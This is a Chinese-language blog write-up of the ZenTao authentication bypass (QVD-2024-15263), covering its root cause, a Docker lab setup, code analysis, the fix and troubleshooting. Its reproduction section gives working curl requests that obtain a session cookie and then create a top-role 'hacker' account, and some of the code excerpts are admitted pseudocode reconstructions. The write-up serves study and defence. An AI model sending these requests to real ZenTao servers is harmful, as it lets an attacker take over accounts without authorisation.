1. 项目概述:一次对禅道核心认证机制的深度剖析
最近在安全圈里,禅道项目管理系统的身份认证绕过漏洞(QVD-2024-15263)引起了不小的讨论。作为一个在研发管理和安全测试领域都摸爬滚打过多年的从业者,我习惯性地会去复现和分析这类影响广泛的开源软件漏洞。这不仅仅是出于技术好奇,更是因为理解漏洞的成因,能让我们在构建和运维自身系统时,避开类似的“坑”。禅道作为国内使用非常广泛的开源项目管理软件,其核心的身份认证机制出现逻辑缺陷,这个案例本身就极具研究价值。它暴露了在复杂业务逻辑与安全边界交织时,开发者可能忽略的细微路径。本次复现与分析,我将带你从零开始,搭建靶场环境,一步步拆解漏洞的触发条件、利用链,并深入代码层面,看看这个“绕过”究竟是如何发生的。无论你是安全研究人员、运维工程师,还是对软件安全架构感兴趣的开发者,理解这个漏洞的来龙去脉,都能为你带来关于API设计、会话管理和权限校验的深刻启发。
2. 漏洞原理深度解析:白名单接口的“副作用”
在开始动手复现之前,我们必须先吃透这个漏洞的核心原理。它不是一个简单的SQL注入或命令执行,而是一个典型的 逻辑漏洞 ,更具体地说,是 身份认证状态管理 上的逻辑缺陷。漏洞的根源在于,禅道系统在处理某些特定API请求时,其会话(Session)的生成和校验逻辑出现了不一致。
2.1 核心漏洞触发点:
/api.php?m=testcase&f=savexmindimport
漏洞利用链的起点是一个用于导入XMind测试用例的API接口。这个接口被设计为“开放式”或“白名单”接口,意味着它在被调用时,不需要用户预先登录。系统设计者的初衷可能是为了方便外部工具或脚本批量导入数据。然而,问题就出在这个接口的执行流程中。
当请求这个接口时,禅道的程序逻辑大致会经历以下几步:
-
应用初始化与路由
:入口文件
api.php被调用,创建一个应用实例。 -
权限校验(白名单检查)
:系统会检查请求的模块(
m=testcase)和方法(f=savexmindimport)是否位于“开放方法”白名单中。由于savexmindimport正在此列,因此系统 跳过了后续严格的用户身份认证检查 。 -
执行控制器方法
:程序加载
testcase模块的控制器(control.php),并执行saveXmindImport方法。 -
关键的“副作用”产生
:在
saveXmindImport方法的执行路径中,它会调用一个名为deny()的通用方法。这个deny()方法的本意是在某些条件不满足时,拒绝请求并可能跳转到登录页。但在这个无需认证的上下文里,deny()方法内部的一个操作埋下了祸根: 它向当前的应用实例($this->app)的user属性进行了赋值 。尽管此时user可能只是一个默认的、非真实用户的占位符对象,但这个赋值操作至关重要。 -
会话写入
:由于应用实例的
user属性被设置(不再为null或空),在请求结束或会话保存时,这个包含了user字段的会话状态被完整地序列化并存储到了服务器的Session文件中(通常以sess_开头,后跟Session ID)。
注意 :这里的关键在于,通过这个白名单接口,我们“骗过”系统,让它在未经验证的情况下,生成了一个标记为“已存在用户”的会话状态。这个会话状态本身并不代表一个有效的登录用户,但它在后续的权限判断逻辑中,却被当成了“已认证”的凭证。
2.2 认证绕过逻辑:为何有
user
就能为所欲为?
获取到包含
user
字段的Session Cookie后,攻击者将其用于访问另一个需要高权限的API接口,例如创建用户的
/api.php/v1/users
。
此时,系统的权限验证逻辑(位于
entry.class.php
等核心文件中)开始工作。典型的验证逻辑伪代码如下:
// 简化版的权限检查逻辑
if (isset($this->app->user) && $this->app->user->account != 'guest') {
// 认为用户已登录,放行请求,执行后续业务逻辑(如创建用户)
return $this->executeAction();
} else {
// 认为用户未登录,返回403禁止访问或跳转登录
return $this->deny('access denied');
}
由于我们通过第一个请求“注入”的Session中,
$this->app->user
对象存在且其
account
属性不等于
'guest'
(可能是一个空字符串或默认值),因此条件判断通过!系统错误地认为这个请求来自于一个已登录的、非访客用户,于是直接执行了创建用户的管理员操作,而完全绕过了密码验证、角色权限检查等环节。
这里的一个深刻教训是
:在权限校验中,不能仅仅检查“
user
对象是否存在”,而必须严格校验该
user
对象是否对应一个
真实、有效、且当前活跃的登录会话
。将“存在用户对象”等同于“已认证用户”,是这个漏洞最根本的逻辑谬误。
3. 靶场环境搭建与漏洞复现实操
理解了原理,我们动手搭建环境进行复现。我选择在虚拟机中使用Docker来快速构建一个存在漏洞的禅道版本,这样既干净又便于反复测试。
3.1 环境准备与靶场部署
首先,我们需要一个存在漏洞的禅道版本。根据公告,影响范围是开源版
< 18.12
。我们以
18.10
版本为例。
1. 使用Vulhub快速搭建(推荐) Vulhub是一个非常好的漏洞靶场集成环境。如果你的系统已有Docker和Docker Compose,操作会非常快捷。
# 1. 下载或克隆Vulhub(如果已有则跳过)
git clone https://github.com/vulhub/vulhub.git
cd vulhub
# 2. 寻找禅道漏洞目录(假设该漏洞已收录在zentao目录下)
# 如果vulhub中暂无此漏洞,我们可以手动创建docker-compose.yml
# 这里我们演示手动创建的方式
2. 手动创建Docker复现环境
在任意目录下,创建一个
docker-compose.yml
文件,内容如下:
version: '3'
services:
zentao:
image: easysoft/zentao:18.10
container_name: vuln_zentao
ports:
- "8088:80"
environment:
- MYSQL_ROOT_PASSWORD=123456
volumes:
- ./data/zentao:/www/zentaopms
- ./data/mysql:/var/lib/mysql
restart: unless-stopped
然后执行:
docker-compose up -d
等待几分钟,容器启动完成后,在浏览器访问
http://your_vm_ip:8088
。你会看到禅道的安装引导页面。按照提示完成安装,数据库主机填写
mysql
(Docker Compose中的服务名),密码填写
123456
。安装完成后,系统会提示你设置管理员账号密码,请务必记下。
实操心得 :在Docker环境中,禅道的应用代码(
/www/zentaopms)和MySQL数据(/var/lib/mysql)被映射到了宿主机的./data目录下。这非常有用,一方面可以持久化数据,避免容器销毁后数据丢失;另一方面,我们可以直接在宿主机上查看和修改代码文件,方便后续的漏洞分析和调试。例如,你可以用docker exec -it vuln_zentao /bin/bash进入容器,或者直接在宿主机的./data/zentao目录下查看PHP源码。
3.2 漏洞复现步骤详解
环境就绪后,我们开始一步步验证漏洞。
第一步:获取“问题”Session Cookie
我们使用
curl
命令或者Burp Suite等工具来发送第一个请求。这里用
curl
演示,因为它清晰直观。
curl -v "http://192.168.1.100:8088/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest"
关键参数解释 :
-
m=testcase: 指定模块为测试用例模块。 -
f=savexmindimport: 指定方法为保存XMind导入。 -
HTTP_X_REQUESTED_WITH=XMLHttpRequest: 这是一个“技巧”。禅道内部Helper::isAjaxRequest()方法会检查$_SERVER['HTTP_X_REQUESTED_WITH']或$_GET['HTTP_X_REQUESTED_WITH']是否为XMLHttpRequest。通过GET参数传入,我们伪造了一个AJAX请求,确保程序流程能顺利执行到deny()方法。
执行结果
:
你会看到返回的HTTP响应头中,包含一个
Set-Cookie
字段,例如:
Set-Cookie: zentaosid=ihjhql1uuiohqarr295f0k8q3f; path=/; HttpOnly
这个
zentaosid=ihjhql1uuiohqarr295f0k8q3f
就是我们需要的“问题”Cookie。它的Session文件里已经包含了那个不该存在的
user
字段。
第二步:利用Cookie创建高权限用户 现在,我们使用上一步获取的Cookie,去调用需要管理员权限的创建用户API。
curl -v -X POST "http://192.168.1.100:8088/api.php/v1/users" \
-H "Content-Type: application/json" \
-H "Cookie: zentaosid=ihjhql1uuiohqarr295f0k8q3f" \
-d '{"account": "hacker", "password": "Hacker@123", "realname": "Hacker", "role": "top", "group": "1"}'
请求解析 :
-
-X POST: 指定POST方法。 -
-H "Content-Type: application/json": 声明请求体为JSON格式,这是禅道API的常见要求。 -
-H "Cookie: ...": 携带我们刚刚获取的“问题”Cookie。 -
-d '...': POST数据体。我们尝试创建一个账号为hacker,密码为Hacker@123,角色为最高管理层(top)的用户。
预期响应
:
你很可能收到一个
403 Forbidden
的HTTP状态码。
但是,这恰恰是漏洞的迷惑性所在!
根据公开的分析,尽管接口返回了403(可能是因为后续的某些细粒度权限检查仍然失败了),但
用户创建操作在数据库层面已经成功执行
。
第三步:验证漏洞利用成功
现在,打开禅道的登录页面 (
http://192.168.1.100:8088
),使用我们刚刚尝试创建的账号
hacker
和密码
Hacker@123
进行登录。
结果
:
如果漏洞复现成功,你将能够直接登录系统,并且进入后台后,可以看到
hacker
用户的角色确实是“高层管理”,拥有几乎所有的管理权限。至此,身份认证绕过完成,攻击者获得了系统的高权限账户。
注意事项 :在实际测试中,返回403但创建成功的情况可能与具体的禅道版本和配置有关。有些环境下可能直接返回201创建成功。无论如何,以能否用新账号登录为最终验证标准。此外,创建用户只是其中一种利用方式。拥有这个“已认证”的Session后,理论上可以调用任何受此错误鉴权逻辑保护的API,例如修改其他用户密码、查看敏感项目信息等。
4. 漏洞代码分析与调试追踪
为了更透彻地理解,我们深入到代码层面。我将基于开源版18.10的代码进行关键点分析。
4.1 关键代码路径分析
1. 入口与白名单检查 (
api.php
和
router.class.php
)
api.php
是入口。它会创建app实例,并调用
$common->checkEntry()
。在
checkEntry()
或相关方法中(如
isOpenMethod()
),会有一个白名单数组。
testcase
模块的
savexmindimport
方法就在这个名单里,从而跳过了
checkPriv()
等登录检查。
2. 会话生成与“污染” (
testcase/control.php
->
common/model.php
)
我们跟进
saveXmindImport
方法。在
/module/testcase/control.php
中:
public function saveXmindImport($productID, $branch = 0)
{
// ... 一些参数检查和初始化 ...
if(empty($files)) $this->deny(); // 关键调用!
// ... 处理文件上传的逻辑 ...
}
当上传的文件为空时(我们的请求正是如此),它会调用
$this->deny()
。这个
deny()
方法定义在父类
common/model.php
中:
public function deny($module = '', $method = 'deny', $vars = '')
{
// ... 省略部分代码 ...
if($reload)
{
// 注意这一行!它设置了$this->app->user
$this->app->user = new stdclass();
$this->app->user->account = '';
// ... 可能还有其他属性设置 ...
$this->session->set('user', $this->app->user); // 将user对象写入session
}
// ... 后续可能输出错误信息或跳转 ...
}
看,就是这里!
$this->app->user
被赋予了一个新的
stdClass
对象。即使它的
account
是空字符串,它也
不是一个
null
。随后,
$this->session->set('user', $this->app->user)
将这个对象序列化后存入了当前会话中。
3. 错误的鉴权逻辑 (
entry.class.php
或类似入口控制器)
当携带被“污染”的Session去请求
/api.php/v1/users
时,请求会经过统一的权限验证层。简化后的关键判断逻辑可能如下:
// 伪代码,位于某个入口控制器或基类中
public function checkPriv()
{
$user = $this->app->user;
// 错误逻辑:只检查user对象是否存在且非guest
if(!empty($user) && $user->account != 'guest') {
return true; // 放行!
}
// 正确逻辑应该检查:$user是否真实有效?是否对应数据库中的活跃用户?是否有登录态token?
// if($this->app->user->isLoggedIn() {...})
return false; // 拒绝
}
由于我们的Session中有
user
对象且
account
为空(不等于
'guest'
),此检查通过,请求被误判为来自已授权用户。
4.2 修复方案解读
官方在18.12版本中修复了此漏洞。查看GitHub的提交记录,修复的核心在于
收紧权限校验逻辑
。修复不再是简单地检查
$this->app->user
是否存在,而是引入了更严格的验证,例如检查用户是否真正通过登录流程获得了有效身份,或者彻底堵住了
deny()
方法在未认证情况下向Session写入
user
对象的路径。
对于无法立即升级的用户,临时的缓解措施可以在WAF(Web应用防火墙)或反向代理层,对
/api.php?m=testcase&f=savexmindimport
这样的特殊接口请求进行监控,检查其是否在未登录状态下被频繁调用,并阻断异常的后续API调用链。更根本的是,审查自身代码中是否存在类似的“检查对象存在即放行”的逻辑。
5. 漏洞复现的常见问题与排查技巧
在复现过程中,你可能会遇到一些问题。这里我总结几个常见的坑和解决方法。
1. 请求第一个接口返回404或500错误
- 可能原因 :禅道版本不对。请确认你的禅道版本在受影响范围内(开源版<18.12)。有些Docker镜像的标签可能不准确。
-
排查
:进入容器,查看
/www/zentaopms/module/testcase/control.php文件,确认是否存在saveXmindImport方法。 - 可能原因 :安装不完整或文件权限问题。
-
排查
:检查禅道是否完成安装流程。可以访问
/api.php看是否有默认响应。检查/www/zentaopms/tmp/log目录下的日志文件,寻找错误信息。
2. 获取到Cookie,但创建用户时返回403且登录失败
-
可能原因
:漏洞利用链在特定版本或配置下不完整。创建用户接口
/api.php/v1/users可能还有额外的二次鉴权(如检查用户所属部门、项目权限),我们的“假用户”对象无法通过。 -
排查与尝试
:
-
尝试调用其他API,例如获取用户列表
GET /api.php/v1/users,或者修改当前用户(即那个假用户)的密码。有时漏洞的利用方式不止一种。 -
使用获取到的Cookie,尝试访问Web后台界面 (
/),看是否被重定向到登录页。如果直接进入后台,说明Session认证已绕过,但API权限模型可能更严格。 - 开启禅道的调试模式,在请求创建用户时,查看具体的错误日志,了解是哪个权限检查点失败了。
-
尝试调用其他API,例如获取用户列表
3. Docker环境网络问题,无法从宿主机访问
- 可能原因 :防火墙或安全组策略阻止了端口访问。
-
排查
:在宿主机上执行
curl http://localhost:8088,如果通,说明容器端口映射正常,问题在外部网络。检查虚拟机网络设置(如NAT、桥接模式)和宿主机的防火墙规则。
4. 复现成功,但想深入调试代码
-
技巧
:在宿主机上使用IDE(如PHPStorm)配置远程调试(Xdebug),或者直接在容器内安装简易的调试工具。更简单的方法是使用
file_put_contents()或error_log()函数,在关键的代码位置(如deny()方法内、权限检查点)打印变量信息到日志文件,然后跟踪请求查看日志输出。这能帮你清晰地看到程序执行流和变量状态的变化。
5. 漏洞修复后如何验证
-
方法
:升级到18.12或更高版本后,重复上述复现步骤。
-
第一步请求
savexmindimport接口,应该依然能获得Cookie(因为它是公开接口)。 -
但第二步用这个Cookie去请求
/api.php/v1/users时, 必须返回明确的未授权错误(如401、403) ,并且 绝对无法用尝试创建的账号登录 。 -
你也可以检查修复后的
deny()方法或权限检查逻辑,确认其不再向未认证会话写入完整的user对象,或者在检查时加入了更严格的登录态验证。
-
第一步请求
这个漏洞的复现过程,像一次精密的“逻辑手术”,它提醒我们,在系统安全设计中,任何一个环节的假设松动(比如“有user对象就是已登录”),都可能被攻击者利用,构造出意想不到的攻击路径。对于开发者和安全工程师而言,持续关注这类逻辑漏洞,并将其作为代码审计和架构设计评审的重点,是构建稳健系统的必修课。

244

被折叠的 条评论
为什么被折叠?



